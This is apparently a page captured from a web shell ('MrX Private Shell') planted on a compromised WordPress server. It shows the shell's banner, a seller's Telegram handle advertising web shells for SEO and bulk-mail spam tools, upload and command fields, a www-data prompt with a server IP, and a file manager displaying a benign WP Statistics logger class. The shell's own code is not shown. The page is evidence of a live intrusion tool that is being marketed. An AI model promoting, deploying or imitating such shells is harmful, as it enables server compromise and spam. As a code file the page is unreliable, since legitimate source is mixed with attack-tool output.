__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

namespace WP_Statistics\Service\Logger;

/**
 * Abstract base class for logger service.
 */
abstract class AbstractLoggerProvider implements LoggerServiceProviderInterface
{
    /**
     * Logger identifier.
     *
     * @var string
     */
    protected $name = '';

    /**
     * Collection of logged errors.
     *
     * @var array
     */
    protected $errors = [];

    /**
     * Map of PHP error constants to severity levels.
     */
    protected static $ERROR_SEVERITY_MAP = [
        // Critical errors
        E_ERROR => 'critical',
        E_PARSE => 'critical',
        E_CORE_ERROR => 'critical',
        E_COMPILE_ERROR => 'critical',
        E_USER_ERROR => 'critical',
        E_RECOVERABLE_ERROR => 'critical',

        // Standard errors
        E_WARNING => 'error',
        E_CORE_WARNING => 'error',
        E_COMPILE_WARNING => 'error',
        E_USER_WARNING => 'error',

        // Notices
        E_NOTICE => 'notice',
        E_USER_NOTICE => 'notice',
        E_STRICT => 'notice',

        // Deprecation notices
        E_DEPRECATED => 'deprecated',
        E_USER_DEPRECATED => 'deprecated'
    ];

    /**
     * Sets logger identifier.
     */
    public function setName($name)
    {
        $this->name = $name;
        return $this;
    }

    /**
     * Gets current logger name.
     */
    public function getName()
    {
        return $this->name;
    }

    /**
     * Adds single error to collection.
     */
    public function setError($error)
    {
        $errorName = $this->getErrorSeverity(isset($error['type']) ? $error['type'] : E_ERROR);

        $this->errors[] = [
            'date' => date('Y-m-d H:i:s'),
            'name' => $errorName,
            'message' => isset($error['message']) ? $error['message'] : '',
            'file' => isset($error['file']) ? $error['file'] : '',
            'line' => isset($error['line']) ? $error['line'] : 0,
        ];

        return $this;
    }

    /**
     * Sets multiple errors at once.
     */
    public function setErrors($errors)
    {
        $this->errors = $errors;
        return $this;
    }

    /**
     * Gets all stored errors.
     */
    public function getErrors()
    {
        return $this->errors;
    }

    /**
     * Maps PHP error number to severity level name.
     *
     * @param int|string $errno
     */
    public function getErrorSeverity($errno)
    {
        return isset(self::$ERROR_SEVERITY_MAP[$errno]) ? self::$ERROR_SEVERITY_MAP[$errno] : 'unknown';
    }
}

Filemanager

Name Type Size Permission Actions
Provider Folder 0755
AbstractLoggerProvider.php File 2.45 KB 0644
LoggerFactory.php File 1.29 KB 0644
LoggerService.php File 831 B 0644
LoggerServiceProviderInterface.php File 966 B 0644
Filemanager